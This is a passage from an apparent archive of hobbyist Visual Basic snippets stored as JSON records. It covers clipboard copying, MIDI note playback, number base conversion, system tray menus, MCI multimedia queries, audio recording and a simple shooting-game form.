lstList.AddItem \"Blue\"\n lstList.AddItem \"Indigo\"\n lstList.AddItem \"Violet\"\nEnd Sub\nPrivate Sub cmdCopyList_Click()\n'this procedure loops thru the list\n'and copies each item to a textbox\n Dim I As Integer\n For I = 0 To lstList.ListCount - 1\n txtHidden.Text = txtHidden.Text & lstList.List(I) & vbCrLf\n Next I\n Call CopyText\nEnd Sub\nPrivate Sub cmdCopyListItems_Click()\n'copy list item to textbox\n Dim I As Integer\n For I = 0 To lstList.ListCount - 1\n If lstList.Selected(I) Then\n txtHidden.Text = txtHidden.Text & lstList.List(I) & vbCrLf\n End If\n Next I\n Call CopyText\nEnd Sub\nPublic Sub CopyText()\n'select list and copy\n'to clipboard\n \n txtHidden.SelLength = Len(txtHidden.Text)\n Clipboard.Clear\n Clipboard.SetText txtHidden.SelText\nEnd Sub\n"},{"WorldId":1,"id":1473,"LineNumber":1,"line":"' Place a Textbox (Text1) and a Command Button (Command1)\n' on the Form\n' The following code should be placed in Form1:\n' This code gives the Visual Basic equivalent of the QBasic\n' PLAY command. A few extra options have been added (such as\n' playing several notes simultaneously).\n' I have found it difficult to stop the notes after playing them\n' You can try this out by using the MN switch.\n' If anyone knows how to do this, please E-Mail me at\n' aidanx@yahoo.com\n\n' Constants\nPrivate Const Style_Normal = 0\nPrivate Const Style_Staccato = 1\nPrivate Const Style_Legato = 2\nPrivate Const Style_Sustained = 3\nPrivate Const PlayState_Disable = 0\nPrivate Const PlayState_Enable = 1\nPrivate Const PlayState_Auto = -1\n' Types\nPrivate Type Note\n Pitch As Long\n Length As Integer\n Volume As Long\n Style As Integer\nEnd Type\n' Variables\nPrivate MIDIDevice As Long\n\nPrivate Sub Command1_Click()\n ' The notes in the text box are played when the button\n ' is pressed\n Play Text1.Text\nEnd Sub\nPrivate Sub Form_Load()\n Text1.Text = \"cdecdefgafga\"\n Play \"MDO3cdefgabO4c\"\nEnd Sub\n\nPublic Sub Play(Notes As String)\n ' Plays a note(s) using MIDI\n ' E.g. Play \"T96O3L4cd.efgabO4cL8defgabO5c\"\n \n ' Note Letter - Plays Note (C is lowest in an octave, B is highest)\n ' L + NoteLength (4 = Crotchet, 2 = Minim, etc., \n\t' 0 = Play Simultaneously)\n ' N + Note Number (37 = Mid C, 38 = C#, etc.)\n ' O + Octave No. (3 = Middle - i.e. O3C = Mid. C)\n ' P + Length (Pause of Length - See \"L\" - \n\t' Without a Number = Current Note Length)\n ' T + Tempo (Crotchet Beats per Minute)\n ' V + VolumeConstant (F = Forte, O = Mezzo-Forte, \n\t' I = MezzoPiano, P = Piano)\n ' M + Music Style Constant (S = Staccato, N = Normal, \n\t' L = Legato, D = Sustained)\n ' Only the Sustained style appears to function \n\t' correctly as the time taken to stop a midi note \n\t' is not negligible\n ' If ommitted, uses last set option\n \n Dim CurrentNote As Long, PauseNoteLength\n Dim i As Long, LenStr As String\n Dim Note(6) As Integer, Sharp As Integer\n Dim NoteCaps As String, NoteASCII As Integer, _\nPlayLength As Double\n Dim PlayNote() As Note\n \n Static NotFirstRun As Boolean ' Set to True if\n\t' it is not the first time Play has been called\n Static Octave As Integer, Tempo As Integer, _\nCurrentNoteLength As Integer, CurrentVolume As Integer, _\nMusicStyle As Integer\n \n ' Enable MIDI\n If Not EnablePlay(PlayState_Enable) Then Exit Sub\n If Not NotFirstRun Then\n NotFirstRun = True\n Octave = 3\n Tempo = 120\n CurrentVolume = 96\n CurrentNoteLength = 4\n MusicStyle = Style_Sustained\n End If\n ' Notes\n Note(0) = 9 ' A\n Note(1) = 11 ' B\n Note(2) = 0 ' C\n Note(3) = 2 ' D\n Note(4) = 4 ' E\n Note(5) = 5 ' F\n Note(6) = 7 ' G\n ' End Notes\n NoteCaps = UCase$(Notes)\n CurrentNote = -1\n i = 0\n Do Until i = Len(NoteCaps)\n i = i + 1\n NoteASCII = Asc(Mid$(NoteCaps, i, 1))\n If Chr$(NoteASCII) = \"N\" Then\n ' Play Note by Number\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\nVal(Mid$(NoteCaps, i + 1, 1)) = 0\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n If LenStr <> \"\" Then\n CurrentNote = CurrentNote + 1\n ReDim Preserve PlayNote(CurrentNote)\n If Val(LenStr) <> 0 Then\n PlayNote(CurrentNote).Pitch = Val(LenStr) + 23\n Else\n PlayNote(CurrentNote).Pitch = -1\n End If\n PlayNote(CurrentNote).Length = CurrentNoteLength\n PlayNote(CurrentNote).Volume = CurrentVolume\n PlayNote(CurrentNote).Style = MusicStyle\n End If\n End If\n If NoteASCII >= 0 Then\n If Chr$(NoteASCII) = \"T\" Then\n ' Set Tempo\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\nVal(Mid$(NoteCaps, i + 1, 1)) = 0\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n If LenStr <> \"\" Then\n Tempo = Val(LenStr)\n End If\n End If\n \n If Chr$(NoteASCII) = \".\" And CurrentNote >= 0 Then\n ' Make last note length 3/2 times as long\n PlayNote(CurrentNote).Length = _\nPlayNote(CurrentNote).Length / 1.5\n End If\n \n If Chr$(NoteASCII) = \"P\" Then\n ' Pause\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\nVal(Mid$(NoteCaps, i + 1, 1)) = 0\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n NoteASCII = -1\n If LenStr <> \"\" Then\n PauseNoteLength = Val(LenStr)\n Else\n PauseNoteLength = CurrentNoteLength\n End If\n End If\n \n If Chr$(NoteASCII) = \"L\" Then\n ' Set Length\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\n(Val(Mid$(NoteCaps, i + 1, 1)) = 0 And _\nMid$(NoteCaps, i + 1, 1) <> \"0\")\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n If LenStr <> \"\" Then\n CurrentNoteLength = Val(LenStr)\n End If\n End If\n \n If Chr$(NoteASCII) = \"O\" Then\n ' Set Octave\n If i < Len(NoteCaps) Then\n NoteASCII = Asc(Mid$(NoteCaps, i + 1, 1))\n If NoteASCII > 47 And NoteASCII < 55 Then\n Octave = NoteASCII - 48\n i = i + 1\n End If\n End If\n End If\n End If\n If (NoteASCII > 64 And NoteASCII < 73) Or NoteASCII = -1 Then\n ' Select Note\n Sharp = 0\n If NoteASCII <> -1 Then\n If i < Len(NoteCaps) Then\n If Mid$(NoteCaps, i + 1, 1) = \"#\" Or _\nMid$(NoteCaps, i + 1, 1) = \"+\" Then\n i = i + 1\n Sharp = 1\n ElseIf Mid$(NoteCaps, i + 1, 1) = \"-\" Then\n i = i + 1\n Sharp = -1\n End If\n End If\n End If\n CurrentNote = CurrentNote + 1\n ReDim Preserve PlayNote(CurrentNote)\n If NoteASCII <> -1 Then\n PlayNote(CurrentNote).Pitch = (Octave * 12) + _\nNote(NoteASCII - 65) + Sharp + 24\n PlayNote(CurrentNote).Length = CurrentNoteLength\n Else\n PlayNote(CurrentNote).Pitch = -1\n PlayNote(CurrentNote).Length = PauseNoteLength\n End If\n PlayNote(CurrentNote).Volume = CurrentVolume\n PlayNote(CurrentNote).Style = MusicStyle\n End If\n If NoteASCII > -1 Then\n If Chr$(NoteASCII) = \"V\" Then\n ' Set Volume\n If i < Len(NoteCaps) Then\n i = i + 1\n Select Case Mid$(NoteCaps, i, 1)\n Case \"F\" ' Forte\n CurrentVolume = 127\n Case \"O\" ' Mezzo-Forte\n CurrentVolume = 96\n Case \"I\" ' Mezzo-Piano\n CurrentVolume = 65\n Case \"P\" ' Piano\n CurrentVolume = 34\n Case Else\n i = i - 1\n End Select\n End If\n End If\n If Chr$(NoteASCII) = \"M\" Then\n ' Set Music Style\n If i < Len(NoteCaps) Then\n i = i + 1\n Select Case Mid$(NoteCaps, i, 1)\n Case \"S\" ' Staccato\n MusicStyle = Style_Staccato\n Case \"N\" ' Normal\n MusicStyle = Style_Normal\n Case \"L\" ' Legato\n MusicStyle = Style_Legato\n Case \"D\" ' Sustained\n MusicStyle = Style_Sustained\n Case Else\n i = i - 1\n End Select\n End If\n End If\n End If\n Loop\n ' Play Notes\n For i = 0 To CurrentNote\n ' Send Note\n If PlayNote(i).Pitch <> -1 Then SendMidiOut 144, _\nPlayNote(i).Pitch, PlayNote(i).Volume\n ' Wait until next note should be played\n If i < CurrentNote Then\n PlayLength = ((((60 / Tempo) * 4) * (1 / _\nPlayNote(i).Length)) * 1000)\n If PlayNote(i).Length > 0 Then\n Select Case PlayNote(i).Style\n Case Style_Sustained\n ' Play the full note value and don't stop it\n\t\t ' afterwards\n SleepAPI Int(PlayLength + 0.5)\n Case Style_Normal\n ' Play 7/8 of the note value\n SleepAPI Int(PlayLength * (7 / 8) + 0.5)\n Call midiOutReset(MIDIDevice)\n SleepAPI Int((PlayLength * (1 / 8)) + 0.5)\n Case Style_Legato\n ' Play the full note value\n SleepAPI Int(PlayLength + 0.5)\n Call midiOutReset(MIDIDevice)\n SleepAPI 1\n Case Style_Staccato\n ' Play half the note value and pause for \n\t\t ' the remainder\n SleepAPI Int(PlayLength * (1 / 2) + 0.5)\n Call midiOutReset(MIDIDevice)\n SleepAPI Int((PlayLength * (1 / 2)) + 0.5)\n End Select\n End If\n End If\n DoEvents\n Next i\n SleepAPI 1 ' This must be done in order for the last \n\t\t ' note to be played\n ' Disable MIDI\n Call EnablePlay(PlayState_Disable)\nEnd Sub\nPrivate Function EnablePlay(Enable As Integer) As Boolean\n ' Enables/Disables MIDI Playing\n ' Enable = PlayState_?\n Dim MIDIOut As Long, ReturnValue As Long\n Static MIDIEnabled As Boolean\n \n If (Enable <> PlayState_Disable) And MIDIEnabled = False Then\n ' Enable MIDI\n ReturnValue = midiOutOpen(MIDIOut, -1, 0&, 0&, 0&)\n If ReturnValue = 0 Then\n MIDIEnabled = True\n EnablePlay = True\n MIDIDevice = MIDIOut\n Else\n EnablePlay = False\n End If\n ElseIf (Enable <> PlayState_Enable) And MIDIEnabled = True Then\n ' Disable MIDI\n ReturnValue = midiOutClose(MIDIDevice)\n If ReturnValue = 0 Then\n MIDIEnabled = False\n EnablePlay = True\n Else\n EnablePlay = False\n End If\n End If\nEnd Function\nPrivate Sub SendMidiOut(MidiEventOut As Long, MidiNoteOut As Long,_\nMidiVelOut As Long)\n ' Sends the Note to the MIDI Device\n Dim LowInt As Long, VelOut As Long, HighInt As Long,_\nMIDIMessage As Long\n Dim ReturnValue As Long\n LowInt = (MidiNoteOut * 256) + MidiEventOut\n VelOut = MidiVelOut * 256\n HighInt = VelOut * 256\n MIDIMessage = LowInt + HighInt\n ReturnValue = midiOutShortMsg(MIDIDevice, MIDIMessage)\nEnd Sub\n"},{"WorldId":1,"id":1474,"LineNumber":1,"line":"' Place the following code in a form...\nPrivate Sub Form_Load()\n Debug.Print ConvertBase(\"10\", 10, 16)\nEnd Sub\nPublic Function ConvertBase(NumIn As String, BaseIn As Integer,_\nBaseOut As Integer) As String\n ' Converts a number from one base to another\n ' E.g. Binary = Base 2\n ' Octal = Base 8\n ' Decimal = Base 10\n ' Hexadecimal = Base 16\n ' NumIn is the number which you wish to convert \n\t' (A string including characters 0 - 9, A - Z)\n ' BaseIn is the base of NumIn (An integer value in\n\t' decimal between 1 & 36)\n ' BaseOut is the base of the number the function\n\t' returns (An integer value in decimal between 1 & 36)\n ' Returns a string in the desired base containing the\n\t' characters 0 - 9, A - Z)\n \n ' e.g. Debug.Print ConvertBase (\"42\", 8, 16) converts the octal number 42 into hexadecimal\n ' Returns the string \"22\"\n ' Returns the word \"Error\" if any of the input values\n\t' are incorrect\n \n Dim i As Integer, CurrentCharacter As String,_\nCharacterValue As Integer, PlaceValue As Integer,_\nRunningTotal As Double, Remainder As Double,_\nBaseOutDouble As Double, NumInCaps As String\n \n ' Ensure input data is valid\n \n If NumIn = \"\" Or BaseIn < 2 Or BaseIn > 36 Or_\nBaseOut < 1 Or BaseOut > 36 Then\n ConvertBase = \"Error\"\n Exit Function\n End If\n \n ' Ensure any letters in the input mumber are capitals\n NumInCaps = UCase$(NumIn)\n \n ' Convert NumInCaps into Decimal\n PlaceValue = Len(NumInCaps)\n For i = 1 To Len(NumInCaps)\n PlaceValue = PlaceValue - 1\n CurrentCharacter = Mid$(NumInCaps, i, 1)\n CharacterValue = 0\n If Asc(CurrentCharacter) > 64 And _\nAsc(CurrentCharacter) < 91 Then _\nCharacterValue = Asc(CurrentCharacter) - 55\n If CharacterValue = 0 Then\n ' Ensure NumIn is correct\n If Asc(CurrentCharacter) < 48 Or _\nAsc(CurrentCharacter) > 57 Then\n ConvertBase = \"Error\"\n Exit Function\n Else\n CharacterValue = Val(CurrentCharacter)\n End If\n End If\n If CharacterValue < 0 Or CharacterValue > BaseIn - 1 Then\n ' Ensure NumIn is correct\n ConvertBase = \"Error\"\n Exit Function\n End If\n RunningTotal = RunningTotal + CharacterValue *_\n(BaseIn ^ PlaceValue)\n Next i\n \n ' Convert Decimal Number into the desired base using\n\t' Repeated Division\n \n Do\n BaseOutDouble = CDbl(BaseOut)\n Remainder = ModDouble(RunningTotal, BaseOutDouble)\n RunningTotal = (RunningTotal - Remainder) / BaseOut\n If Remainder >= 10 Then\n CurrentCharacter = Chr$(Remainder + 55)\n Else\n CurrentCharacter = Right$(Str$(Remainder),_\nLen(Str$(Remainder)) - 1)\n End If\n ConvertBase = CurrentCharacter & ConvertBase\n Loop While RunningTotal > 0\n \nEnd Function\nPublic Function ModDouble(NumIn As Double, DivNum As Double) As Double\n ' Returns the Remainder when a number is divided by another\n ' (Works for double data-type)\n ModDouble = NumIn - (Int(NumIn / DivNum) * DivNum)\nEnd Function\n"},{"WorldId":1,"id":9719,"LineNumber":1,"line":"' Enumerations:\nPrivate Enum BeforeOrAfter\n Before\n After\nEnd Enum\n' ********** Procedure: Convert Milliseconds To Time **********\nPublic Function ConvertMillisecondsToTime(Milliseconds As Long, Optional IncludeHours As Boolean) As String\n ' Converts a number of Milliseconds to a time (HH:MM:SS:HH)\n \n Dim CurrentHSecs As Double, HSecs As Long, Mins As Long, Secs As Long, Hours As Double\n CurrentHSecs = Int((Milliseconds / 10) + 0.5)\n If IncludeHours Then\n Hours = Int(CurrentHSecs / 360000)\n CurrentHSecs = CurrentHSecs - (Hours * 360000)\n End If\n Mins = Int(CurrentHSecs / 6000)\n CurrentHSecs = CurrentHSecs - (Mins * 6000)\n Secs = Int((CurrentHSecs) / 100)\n CurrentHSecs = CurrentHSecs - (Secs * 100)\n HSecs = CurrentHSecs\n ConvertMillisecondsToTime = FixLength(Mins, 2) & \":\" & FixLength(Secs, 2) & \":\" & FixLength(HSecs, 2)\n If IncludeHours Then\n ConvertMillisecondsToTime = FixLength(Hours, 2) & \":\" & ConvertMillisecondsToTime\n End If\nEnd Function\n' ********** Additional Subs/Functions Required **********\nPrivate Function FixLength(Number As Variant, Length As Integer, Optional CharacterPosition As BeforeOrAfter = Before, Optional Character As String = \"0\") As String\n ' Inserts \"0\"'s before a number to make it a certain length\n Dim i As Integer, StrNum As String\n \n StrNum = CStr(Number)\n FixLength = StrNum\n For i = Len(StrNum) To Length - 1\n If CharacterPosition = Before Then\n FixLength = Character & FixLength\n Else\n FixLength = FixLength & Character\n End If\n Next i\nEnd Function"},{"WorldId":1,"id":1394,"LineNumber":1,"line":"Private Sub Form_Load()\n Dim hMenu As Long, hSubMenu As Long, MenuID As Long\n\n'**************Bonus Code Below*****************************************\n'This bonus code adds a bitmap to the form's main drop menu. Click the\n'titlebar with the right mouse button to see thr effect.\n hMenu = GetMenu(Form1.hwnd)\n hMenu = GetSystemMenu(hwnd, 0)\n MenuID = 0\n 'MenuID = &HF120 'This places the bitmap as first, but looks distorted\n 'when the option is not minimized. This is the \"restore\" option.\nX% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image1.Picture))\n'**************Bonus Code above*****************************************\n\n hMenu = GetMenu(Form1.hwnd)\n hSubMenu = GetSubMenu(hMenu, 0) 'The \"0\" here is for the first menu Item.\n 'A \"1\" can be used for the second and a \"3\"\n 'for the third and so on...\n 'You may not want all menu items to have images\n 'so you can skip a number\n \n\n MenuID = GetMenuItemID(hSubMenu, 0) 'The \"0\" here is for the first SUB menu Item.\n 'A \"1\" can be used for the second and a \"3\"\n 'for the third and so on...\n 'You may not want all SUB menu items to have images\n 'so you can skip a number\n X% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image1.Picture))\n MenuID = GetMenuItemID(hSubMenu, 1)\n X% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image2.Picture))\n \n MenuID = GetMenuItemID(hSubMenu, 2)\n X% = ModifyMenu(hMenu, MenuID, MF_BITMAP, MenuID, CLng(Image3.Picture))\n\n'Note: The entire code above can be copied and pasted below with\n'different numbers for different menus and sub menus\n\n'REMEMBER, go to the VB Menu editor (Ctrl+E) and create a menu item.\n'Then create 3 sub menus. It doesn't matter what you\n'name any of the menus or menu options.\n'Tip: Bitmaps work best. GIFs that have invisible colors do not appear invisible\n'and icon (*.ico) do not work at all. Use Image controls instead\n'of Picture controls to save resources.\n'Comments to opus@bargainbd.com\n'http://bargainbd.com/opusopus/top.htm\nEnd Sub\n"},{"WorldId":1,"id":1405,"LineNumber":1,"line":"Dim CountCard As Integer\n Private Sub Command1_Click()\nIf CountCard >= 69 Then CountCard = 1\n'CountCard can be any number from 1 to 68\n'Each number equals different DSeck image.\n\n Deck1.ChangeCard = CountCard 'Change the Picture property of Deck1\n Image1.Picture = Deck1.Picture 'Copy the picture of Deck1\nLabel1.Caption = \"The number for this card is \" & CountCard\nCountCard = CountCard + 1\nEnd Sub\nPrivate Sub Form_Load()\nCountCard = 1\n 'the \"Destination pad\"\n Image1.Picture = Deck1.Picture 'Copy the picture of Deck1 to image1\nEnd Sub\n\n"},{"WorldId":1,"id":1582,"LineNumber":1,"line":"\nPrivate Sub Form_Load()\n' Project Topic:\n' \"Add Menu to System Tray Icon\"\n' For VB5.0 and better....\n' Created by opus@bargainbd.com\n' Original source is unknown\n' Before you begin!\n' Make sure your form is in view within Visual Basic,\n' then press Ctrl+E to open the Menu Editor.\n' Next create a Main Menu item and make it's name\n' property \"mnu_1\", without the quotes. You can\n' always change this name, but make sure that you\n' change it in the Form_MouseMove too. Now create a\n' few sub menus under the main menu\n' and name them anything that you want,\n' the code will take care of the rest.\n' \"TIP: Make the \"mnu_1\" visible property = False\n' Then create a second Main menu item with sub menus\n' as normal (This will appear to look as though\n' it is the first menu item. The Actual First\n' will be seen in the System tray when clicked with\n' the right mouse button.\n \n \n\n\n' *---The code begins here---*\n'The form must be fully visible before calling Shell_NotifyIcon\nMe.Show\nMe.Refresh\n \nWith nid\n .cbSize = Len(nid)\n .hwnd = Me.hwnd\n .uId = vbNull\n .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE\n .uCallBackMessage = WM_MOUSEMOVE\n .hIcon = Me.Icon\n .szTip = \" Click Right Mouse Button \" & vbNullChar\nEnd With\nShell_NotifyIcon NIM_ADD, nid\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'This procedure receives the callbacks from the System Tray icon.\nDim Result As Long\nDim msg As Long\n'The value of X will vary depending upon the scalemode setting\nIf Me.ScaleMode = vbPixels Then\n msg = X\nElse\n msg = X / Screen.TwipsPerPixelX\nEnd If\n Select Case msg\n Case WM_LBUTTONUP '514 restore form window\n Me.WindowState = vbNormal\n Result = SetForegroundWindow(Me.hwnd)\n Me.Show\n Case WM_LBUTTONDBLCLK '515 restore form window\n Me.WindowState = vbNormal\n Result = SetForegroundWindow(Me.hwnd)\n Me.Show\n Case WM_RBUTTONUP '517 display popup menu\n Result = SetForegroundWindow(Me.hwnd)\n'***** STOP! and make sure that your first menu item\n' is named \"mnu_1\", otherwise you will get an erro below!!! *******\n Me.PopupMenu Me.mnu_1\n End Select\nEnd Sub\nPrivate Sub Form_Resize()\n 'this is necessary to assure that the minimized window is hidden\n If Me.WindowState = vbMinimized Then Me.Hide\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\n 'this removes the icon from the system tray\n Shell_NotifyIcon NIM_DELETE, nid\nEnd Sub\n\nPrivate Sub mPopExit_Click()\n 'called when user clicks the popup menu Exit command\n Unload Me\nEnd Sub\n\nPrivate Sub mPopRestore_Click()\n 'called when the user clicks the popup menu Restore command\n Me.WindowState = vbNormal\n Result = SetForegroundWindow(Me.hwnd)\n Me.Show\nEnd Sub\n\n"},{"WorldId":1,"id":1917,"LineNumber":1,"line":"Private Sub Command1_Click()\n'NOTE: Some of the routines below obviously do not\n'apply to an AVI, such as \"Can Eject\", but the routines\n'within this code applies ALL multimedia (WAV, MIDI, AVI,\n'CD Audio, Scanner, DAT, etc...)\nDim mssg As String * 255\nDim Rslt As String\nRslt = \"Capabilities of this AVI file:\" & vbCrLf & vbCrLf\n'We must \"open\" the AVI file first\n ComStr = \"open c:\\shut.avi type avivideo alias video1\"\n x% = mciSendString(ComStr, 0&, 0, 0&)\n'---Can it be played?\nx% = mciSendString(\"capability video1 can play\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can be played\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot be played\" & vbCrLf\nEnd If\n'---Does it have audio?\nx% = mciSendString(\"capability video1 has audio\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Has audio\" & vbCrLf\nElse\n Rslt = Rslt & \"- Has no audio\" & vbCrLf\nEnd If\n \n'---Does it have video?\nx% = mciSendString(\"capability video1 has audio\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Has video\" & vbCrLf\nElse\n Rslt = Rslt & \"- Has no video\" & vbCrLf\nEnd If\n'---Can it be played in reverse?\nx% = mciSendString(\"capability video1 can reverse\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can reverse\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot reverse\" & vbCrLf\nEnd If\n'---Can it be stretched?\nx% = mciSendString(\"capability video1 can stretch\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can stretch\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot stretch\" & vbCrLf\nEnd If\n'---Can it record?\nx% = mciSendString(\"capability video1 can record\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can record\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot record\" & vbCrLf\nEnd If\n'---Can it eject?\nx% = mciSendString(\"capability video1 can eject\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can eject\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot eject\" & vbCrLf\nEnd If\n'---Compound Device?\nx% = mciSendString(\"capability video1 compound device\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Compound device = TRUE\" & vbCrLf\nElse\n Rslt = Rslt & \"- Compound device = FALSE\" & vbCrLf\nEnd If\n'---Uses file(s)?\nx% = mciSendString(\"capability video1 uses files\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Uses file(s)\" & vbCrLf\nElse\n Rslt = Rslt & \"- Does not use file(s)\" & vbCrLf\nEnd If\n'---Does this use palettes?\nx% = mciSendString(\"capability video1 uses palettes\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Uses palettes\" & vbCrLf\nElse\n Rslt = Rslt & \"- Does not use palettes\" & vbCrLf\nEnd If\n'---Can it save?\nx% = mciSendString(\"capability video1 can save\", mssg, 255, 0)\nIf Left$(mssg, 4) = \"true\" Then\n Rslt = Rslt & \"- Can be saved\" & vbCrLf\nElse\n Rslt = Rslt & \"- Cannot be saved\" & vbCrLf\nEnd If\n'Close the AVI file\nx% = mciSendString(\"close video1\", 0&, 0, 0&)\n \n \n MsgBox Rslt, , \"Results\"\nEnd Sub\n"},{"WorldId":1,"id":1938,"LineNumber":1,"line":"Private Declare Function mciSendString Lib \"winmm.dll\" Alias _\n \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal _\n lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal _\n hwndCallback As Long) As Long\n\n\nPrivate Sub Command1_Click()\ni = mciSendString(\"open new type waveaudio alias capture\", 0&, 0, 0)\n \ni = mciSendString(\"set capture bitspersample 8\", 0&, 0, 0)\ni = mciSendString(\"set capture samplespersec 11025\", 0&, 0, 0)\n \ni = mciSendString(\"set capture channels 1\", 0&, 0, 0)\n \ni = mciSendString(\"record capture\", 0&, 0, 0)\n\n'bitspersample can be:\n' 8\n' 16\n'\n'samplespersec can be:\n' 11025\n' 22050\n' 44100\n'\n'channels can be:\n' 1 = mono\n' 2 = stereo\nEnd Sub\n\nPrivate Sub Command2_Click()\n i = mciSendString(\"stop capture\", 0&, 0, 0)\n i = mciSendString(\"save capture c:\\NewWave.wav\", 0&, 0, 0)\n' i = mciSendString(\"close capture\", 0&, 0, 0)\nEnd Sub\n\nPrivate Sub Command3_Click()\ni = mciSendString(\"play capture from 0\", 0&, 0, 0)\nEnd Sub\nPrivate Sub Form_Load()\nMe.Caption = \"WAVE RECORDER\"\nCommand1.Caption = \"Record\"\nCommand2.Caption = \"Stop\"\nCommand3.Caption = \"Play\"\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\ni = mciSendString(\"close capture\", 0&, 0, 0)\nEnd Sub\n\n"},{"WorldId":1,"id":3883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5321,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4049,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim Start As Long\n Start = Timer\n \n Do While Timer < Start + 3 'a 3 second delay (Change to any numer you want)\n DoEvents ' Yield to other processes.\n Loop\n \n Beep\n \nEnd Sub\n"},{"WorldId":1,"id":7985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1357,"LineNumber":1,"line":"'Create a new project.\n'Add a command button.\n'Name the button...\n' Command1(0)\n'As if it were an aray.\n'Its sometimes easyier to create\n'an aray to begin with. If you do\n'be sure to delete all button except\n'Command1(0).\n'The Code...\nPrivate Sub Command1_Click(Index As Integer)\nStatic I As Integer\nI = I + 1\nLoad Command1(I)\nCommand1(I).Left = Command1(I - 1).Left + 200\nCommand1(I).Top = Command1(I - 1).Top + 600\nCommand1(I).Caption = \"New Button !\"\nCommand1(I).Visible = True\nEnd Sub\n'At runtime this will create a new\n'command button.\n'To add additional function you could add\n'an IF statement. As follows...\nPrivate Sub Command1_Click(Index As Integer)\nOn Error GoTo Handler1\n'Create new button\nStatic I As Integer\nI = I + 1\nLoad Command(I)\nCommand(I).Left = 2460\nCommand(I).Top = 5520\nCommand(I).Caption = \"For Real This Time\" ' change the caption\nCommand(I).Visible = True\n' Code to unload the form when the new button is clicked\nIf Command(1) Then\nUnload Me\nEnd If\nHandler1:\nEnd Sub\n'Email Marc at 3dtech@acwn.com with any questions.\n'try this with other controls !"},{"WorldId":1,"id":1568,"LineNumber":1,"line":"Leave Picture1 blank, make Picture2's picture a \"kill picture\" (so when the target is hit a bullet hole appears in it) and make Picture3's Picture the blank target (ie an \"unwounded target\")\nCopy and paste this into a notepad and save as form1.frm\nVERSION 5.00\nBegin VB.Form Form1 \n BorderStyle = 4 'Fixed ToolWindow\n ClientHeight = 3195\n ClientLeft = 45\n ClientTop = 285\n ClientWidth = 4680\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 3195\n ScaleWidth = 4680\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows Default\n Begin VB.Timer tmrSeconds \n Left = 600\n Top = 960\n End\n Begin VB.CommandButton cmdReset \n Caption = \"&Reset\"\n Height = 375\n Left = 120\n TabIndex = 5\n Top = 2760\n Visible = 0 'False\n Width = 855\n End\n Begin VB.PictureBox Picture3 \n Appearance = 0 'Flat\n BackColor = &H00C0C0C0&\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 495\n Left = 960\n ScaleHeight = 495\n ScaleWidth = 495\n TabIndex = 4\n Top = 2040\n Visible = 0 'False\n Width = 495\n End\n Begin VB.CommandButton cmdStart \n Caption = \"&Start\"\n Height = 375\n Left = 120\n TabIndex = 3\n Top = 2760\n Width = 855\n End\n Begin VB.CommandButton cmdExit \n Caption = \"&Exit\"\n Height = 375\n Left = 3720\n TabIndex = 2\n Top = 2760\n Width = 855\n End\n Begin VB.PictureBox Picture2 \n Appearance = 0 'Flat\n BackColor = &H80000004&\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 495\n Left = 480\n ScaleHeight = 495\n ScaleWidth = 495\n TabIndex = 1\n Top = 2040\n Visible = 0 'False\n Width = 495\n End\n Begin VB.PictureBox Picture1 \n BackColor = &H008080FF&\n BorderStyle = 0 'None\n Height = 495\n Left = 1920\n ScaleHeight = 495\n ScaleWidth = 495\n TabIndex = 0\n Top = 1320\n Width = 495\n End\n Begin VB.Timer Timer1 \n Interval = 1\n Left = 480\n Top = 240\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = 